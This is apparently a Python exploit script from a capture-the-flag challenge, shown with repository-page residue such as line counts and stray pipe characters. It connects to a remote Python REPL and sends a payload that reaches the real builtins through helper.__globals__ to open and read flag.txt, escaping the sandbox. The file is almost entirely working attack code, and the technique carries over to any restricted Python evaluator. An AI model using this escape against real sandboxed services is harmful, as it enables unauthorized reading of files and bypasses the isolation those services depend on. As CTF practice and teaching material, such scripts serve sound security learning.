47 lines
1.0 KiB
Python
47 lines
1.0 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
exploit.py - demonstrates the sandbox escape for the CTF challenge.
|
|
|
|
Connects to the REPL, evaluates an expression that uses helper.__globals__
|
|
to access the real '__builtins__' mapping and open 'flag.txt'.
|
|
"""
|
|
import socket
|
|
import sys
|
|
|
|
if len(sys.argv) < 3:
|
|
print("Usage: python3 exploit.py <host> <port>")
|
|
sys.exit(1)
|
|
|
|
HOST = sys.argv[1]
|
|
PORT = int(sys.argv[2])
|
|
|
|
def recv_until(s, marker=b">> "):
|
|
data = b""
|
|
while True:
|
|
part = s.recv(4096)
|
|
if not part:
|
|
break
|
|
data += part
|
|
if data.endswith(marker):
|
|
break
|
|
return data
|
|
|
|
# Connect
|
|
s = socket.create_connection((HOST, PORT))
|
|
banner = recv_until(s)
|
|
print(banner.decode())
|
|
|
|
# Craft expression that reads flag using helper.__globals__ to get builtins
|
|
payload = "helper.__globals__['__builtins__']['open']('flag.txt').read()"
|
|
|
|
print("[*] Sending payload:", payload)
|
|
s.send((payload + "\n").encode())
|
|
|
|
resp = recv_until(s)
|
|
print("Response:")
|
|
print(resp.decode())
|
|
|
|
# Quit politely
|
|
s.send(b"QUIT\n")
|
|
s.close()
|